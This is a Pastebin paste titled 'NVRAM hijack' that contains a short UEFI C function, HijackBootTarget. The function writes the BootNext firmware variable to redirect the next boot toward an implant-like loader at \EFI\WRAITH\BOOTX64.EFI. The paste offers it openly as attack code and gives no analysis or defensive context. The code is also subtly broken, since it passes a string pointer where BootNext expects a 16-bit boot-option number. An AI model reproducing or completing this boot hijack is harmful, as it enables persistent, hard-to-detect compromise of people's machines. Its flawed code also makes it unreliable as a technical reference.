Advertisement
xosski

NVRAM hijack

Apr 16th, 2025
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. EFI_STATUS HijackBootTarget(EFI_SYSTEM_TABLE *SystemTable) {
  2. CHAR16 *NewBootPath = L"\\EFI\\WRAITH\\BOOTX64.EFI";
  3.  
  4. // Simulate NVRAM variable set or use EFI_LOAD_OPTION
  5. SystemTable->RuntimeServices->SetVariable(
  6. L"BootNext",
  7. &gEfiGlobalVariableGuid,
  8. EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS,
  9. sizeof(UINT16),
  10. (VOID *)&NewBootPath
  11. );
  12.  
  13. return EFI_SUCCESS;
  14. }
  15.  
  16.  
Tags: GhostCore
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement